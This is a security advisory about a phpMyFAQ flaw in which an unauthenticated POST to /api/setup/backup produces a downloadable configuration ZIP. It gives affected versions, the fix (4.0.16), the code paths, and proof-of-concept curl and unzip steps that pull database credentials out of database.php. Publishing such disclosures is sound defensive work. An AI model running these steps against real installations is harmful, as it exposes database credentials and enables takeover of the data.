Loading advisory.
Loading advisory.
phpMyFAQ has unauthenticated config backup download via /api/setup/backup
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location.
Published 2025-12-29 15:24 UTC · Modified 2025-12-30 15:55 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score.
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| thorsten/phpmyfaq | Packagist | < 4.0.16 >= 4.1.0-alpha, <= 4.1.0-beta.2 versions 2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17 and 139 more | 4.0.16 | composer require 'thorsten/phpmyfaq:>=4.0.16' |
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.
The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.
Relevant code paths:
Rewrite rule exposing the endpoint:
phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
Controller implementation:
phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup()
No call to hasValidToken(), userIsAuthenticated(), or any permission check
Backup creation:
phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup()
Writes the ZIP into the config directory and returns a public URL under content/core/config/
Replace BASE_URL with your instance URL.
Trigger config backup generation without authentication:
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
-H "Content-Type: text/plain" \
--data "4.1.0-RC"Expected result: 200 OK with JSON containing backupFile.
Copy the backupFile URL from the JSON response and download it (still without authentication):
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zipVerify sensitive content exists in the ZIP:
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.phpObserved: database.php is included and contains DB host/user/password.
Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable.
Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
Exploit code or a detection template for this CVE is published by the sources below. This is not a report of use against real systems (that is what CISA KEV records) and it does not change the tier.
EPSS went from 0.021 on 2026-11-24 to 0.025 on 2026-11-30, over 3 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.021 | first score | v2026.06.15 |
| 2026-11-26 | 0.024 | 0.021 | v2026.06.15 |
| 2026-11-30 | 0.025 | 0.024 | v2026.06.15 |